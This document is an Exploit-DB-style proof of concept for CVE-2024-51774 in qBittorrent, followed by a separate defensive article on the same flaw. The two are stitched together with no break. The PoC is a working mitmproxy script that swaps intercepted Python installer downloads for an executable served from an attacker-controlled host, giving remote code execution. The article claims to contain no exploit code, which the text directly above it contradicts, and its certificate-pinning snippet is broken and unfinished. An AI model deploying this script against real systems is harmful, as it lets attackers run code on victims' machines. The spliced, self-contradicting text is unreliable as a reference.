qBittorrent 5.0.1 - MITM RCE
# Exploit Title: qBittorrent 5.0.1 MITM RCE
# Date: 01/02/2025
# Exploit Author: Jordan Sharp
# Vendor Homepage: https://github.com/qbittorrent/qBittorrent
# Software Link: https://www.qbittorrent.org/download
# Version: < 5.0.1
# Tested on: Windows 10
# CVE : CVE-2024-51774
Run the PoC on a MITM machine intercepting the host
"""PoC exploit for CVE-2024-51774"""
from mitmproxy import http
targets = [
"https://www.python.org/ftp/python/3.10.11/python-3.10.11-amd64.exe",
"https://www.python.org/ftp/python/3.8.10/python-3.8.10-amd64.exe",
"https://www.python.org/ftp/python/3.10.11/python-3.10.11.exe",
"https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe",
"https://www.python.org/ftp/python/3.4.3/python-3.4.3.msi",
"https://www.python.org/ftp/python/3.8.5/python-3.8.5-amd64.exe",
"https://www.python.org/ftp/python/3.8.5/python-3.8.5.exe",
"https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe",
"https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe",
"https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe",
"https://www.python.org/ftp/python/3.7.4/python-3.7.4.exe",
"https://www.python.org/ftp/python/3.6.6/python-3.6.6.exe",
"https://www.python.org/ftp/python/3.12.4/python-3.12.4-amd64.exe",
"https://www.python.org/ftp/python/3.4.4/python-3.4.4.msi",
"https://www.python.org/ftp/python/3.5.2/python-3.5.2.exe"
]
SUBSTITUTE_URL = "http://192.168.50.2:6666/calc.exe"
def request(flow: http.HTTPFlow) -> None:
"""
Inject any exe instead of a Python installer.
"""
if flow.request.pretty_url in targets:
flow.request.url = SUBSTITUTE_URL qBittorrent 5.0.1 — MITM RCE (CVE-2024-51774): Overview, Impact, and Remediation
This article explains the high-level details, impact, and defensive measures related to CVE-2024-51774 — a man-in-the-middle (MITM) remote code execution (RCE) scenario that affected versions of qBittorrent prior to 5.0.1. It focuses on root causes, practical mitigations, detection strategies, and secure-development recommendations without providing exploit code or step‑by‑step attack procedures.
Summary
CVE-2024-51774 is a vulnerability in qBittorrent releases older than 5.0.1 that can allow an attacker with the ability to intercept or manipulate network traffic between a qBittorrent client and external download sources to cause execution of an arbitrary Windows executable on the victim machine. The core issue relates to insufficient integrity and authenticity checks for externally retrieved installer binaries and permissive behavior around automatically handling downloaded executables.
How the issue arises (high-level, safe description)
- qBittorrent integrates with external resources (e.g., fetching helper utilities or installer files) and may download binaries over network channels.
- If an attacker can perform a MITM (e.g., on an untrusted Wi‑Fi network, compromised router, or via DNS/HTTP downgrade), they can substitute a benign binary with a malicious one.
- If the client does not enforce strong transport security, verify cryptographic signatures, or prevent automatic execution, the substituted binary may be executed — resulting in RCE.
Root causes (conceptual)
- Missing or insufficient integrity verification (no or optional cryptographic checksum/GPG verification of downloaded binaries).
- Trusting transport channels that can be intercepted or downgraded (e.g., falling back to HTTP or not validating TLS certificates robustly).
- Design choices that allow automatic execution or post-download actions without explicit, verified user consent.
Impact and affected components
On Windows systems, a successful exploitation can lead to arbitrary code execution with the privileges of the user running qBittorrent. The attacker could install persistent backdoors, escalate privileges (if other weaknesses exist), exfiltrate data, or abuse the host to pivot within the network.
| Vulnerability | Affected Versions | CVE | Severity |
|---|---|---|---|
| MITM leading to substitution of downloaded binaries and potential RCE | < 5.0.1 | CVE-2024-51774 | High (depends on context) |
Immediate mitigation steps (for administrators and users)
- Upgrade qBittorrent to 5.0.1 or later. This is the primary remediation; vendors typically include fixes and hardening in patched releases.
- Where patching is not immediately possible, restrict qBittorrent network access via host or network-based controls (block untrusted networks or restrict to known repositories).
- Disable any automatic post-download execution or scripts that run binaries without explicit user confirmation.
- Download installers only from official HTTPS sites and verify cryptographic checksums and signatures before running them.
- Harden Windows hosts: enable SmartScreen, use protected user accounts (least privilege), and consider AppLocker or WDAC to block unsigned/malicious executables.
Safe code examples: Defensive checks for downloaded executables
import hashlib
def sha256_of_file(path, chunk_size=8192):
h = hashlib.sha256()
with open(path, 'rb') as f:
for chunk in iter(lambda: f.read(chunk_size), b''):
h.update(chunk)
return h.hexdigest()
# Example usage:
# expected_hash = "3a7bd3e2360a7f6e..."
# if sha256_of_file("downloaded-installer.exe") != expected_hash:
# raise ValueError("Checksum mismatch — do not execute")
Explanation: This Python snippet computes the SHA‑256 hash of a local file in a memory‑efficient way and compares it to an expected hash. In a secure workflow, users or deployment automation should verify the downloaded file's checksum (published securely by the vendor) before executing it. Never rely on checksums delivered over the same insecure channel as the binary.
import requests
import ssl
import hashlib
def verify_tls_pin(url, pinned_pubkey_sha256):
# This example demonstrates the concept of certificate pinning (public key hash).
# Use platform libraries or vetted libraries for production pinning.
resp = requests.get(url, stream=True, verify=True) # verify=True enforces TLS certificate validation
cert = resp.raw.peer_cert # conceptual; real libs differ
# Extract the public key and compute its SHA256, compare to pinned value...
# If pin fails: abort and do not use the downloaded data
Explanation: This conceptual snippet highlights the idea of pinning a server certificate or public key fingerprint so that only a known, trusted TLS endpoint is accepted. Real implementations should rely on well-tested libraries and handle certificate extraction, rotation, and fallback policies carefully. Do not implement ad‑hoc TLS code for production without strong cryptographic knowledge.
PowerShell example: verify Authenticode signature before execution
Get-AuthenticodeSignature 'C:\path\to\installer.exe' | Format-List
Explanation: On Windows, Authenticode provides code-signing metadata. The PowerShell cmdlet Get-AuthenticodeSignature reports signature validity and signer information. Before running installers, verifying that the binary is signed by the expected vendor and that the signature status is valid reduces the risk of running substituted binaries.
Network and monitoring recommendations
- Use HTTPS-only policies and enforce TLS validation for all external downloads initiated by applications.
- Enable network controls that prevent untrusted MITM opportunities: block unauthorized proxies, use DNSSEC/DoT/DoH where appropriate, and avoid insecure public Wi‑Fi for sensitive actions.
- Monitor for anomalous process behavior: qBittorrent spawning unexpected child processes, unexplained exe downloads, or processes connecting to unusual remote hosts.
- Instrument endpoints with EDR solutions that detect suspicious persistence mechanisms, process injection, and credential theft behaviors.
- Log and review network traffic for unexpected binary downloads from non‑vendor domains; alert on transfers of large EXE/PE files to clients that normally receive torrent payloads only.
Detection examples (conceptual)
- SIEM query: look for network flows where qBittorrent host downloads an executable from external IPs not in an approved allowlist.
- EDR rule: alert if qBittorrent process launches a new child process that is an executable downloaded within the last N minutes.
Secure-design recommendations for application developers
- Always serve and fetch external installers over authenticated, integrity-checked channels (HTTPS + signature verification).
- Publish cryptographic checksums and GPG/OpenPGP signatures for all release artifacts and document verification steps clearly.
- Harden client behavior: require explicit user consent before running downloaded executables; treat external binary content as untrusted by default.
- Implement TLS best practices: strict certificate validation, support for Certificate Transparency, and consider optional certificate/public‑key pinning with manageable rotation policies.
- Perform threat modeling for features that fetch and execute external code and adopt a minimal-privilege execution model and sandboxing where feasible.
Incident response checklist
- If you suspect an exploitation: isolate the affected host from the network and preserve volatile evidence (memory, running processes, network connections).
- Collect relevant logs (qBittorrent logs, Windows event logs, network flow logs) and store copies on a controlled analysis system.
- Scan for known indicators of compromise (IOC) and look for unexpected persistence mechanisms or scheduled tasks.
- Reimage if you cannot fully validate a clean state; treat executable substitution as a high‑confidence compromise if arbitrary binaries were run.
- Report disclosures following vendor guidance and coordinate with your security team for containment and recovery.
Responsible disclosure and timeline notes
Vulnerabilities such as CVE-2024-51774 are typically handled through coordinated disclosure: researchers report issues privately to the vendor, patches are prepared, and a CVE is assigned before public details are published. For defenders and users, the practical step is to apply vendor-supplied patches and adopt the mitigations described here.
Key takeaways
- Upgrade qBittorrent to 5.0.1 or later as the primary action.
- Ensure downloaded binaries are verified cryptographically (checksums and signatures) and that TLS transport protections are enforced.
- Reduce attack surface by disabling automatic execution, using least privilege, and applying endpoint controls such as AppLocker or WDAC.
- Monitor networks and endpoints for anomalous downloads and unexpected process spawns to detect potential exploitation early.